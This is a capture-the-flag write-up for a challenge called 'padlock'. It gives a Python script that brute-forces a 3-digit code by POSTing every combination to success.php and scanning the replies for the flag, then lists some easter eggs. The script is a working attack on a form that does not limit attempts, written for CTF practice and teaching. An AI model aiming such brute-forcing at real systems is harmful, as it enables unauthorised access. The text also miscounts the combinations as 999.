40 lines
1.5 KiB
Markdown
40 lines
1.5 KiB
Markdown
# CHALLENGE padlock
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## Writeup
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To get the flag, a 3-digit code has to be found. As 3 digits only offers 999 combinations, brute-force would be the way to go.
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In the source code of `index.php`, we can find that for each try, a POST-request is sent to `success.php`. The post request contains 3 values: `try100`, `try10` and `try1`. In the brute-force we have to enumerate each value from 0 to 9. We can check each response for the flag by looking for `"IG{`. If we got a match the respons might contain a flag.
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A simple brute-force program in Python would look like this:
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```python
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import requests
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# change URL path
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url = "success.php"
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def checkForSolution(text):
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if text.find("IG{") == -1:
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return False
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else:
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substr = text.find("IG{")
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print(text[substr:text.find("}", substr) + 1])
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return True
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def bruteForce():
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for h in range(10):
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for t in range(10):
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for u in range(10):
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param = {'try100': h, 'try10': t, 'try1': u}
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req = requests.post(url, data = param)
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print("try:", h, t, u)
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if checkForSolution(req.text):
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return True
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bruteForce()
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```
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## Easter eggs
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In `robots.txt` a file `flag.txt` is disallowed, this file contains an ascii-art of a beautiful flag.
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Trying combinations like '420' or '069' will redirect to a new page. Also a cookie is placed, as long as this cookie exists, the index page shows a 4-digit combination. However, this newly placed digit does not do anything.
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The cookie placed contains a Base64-string.
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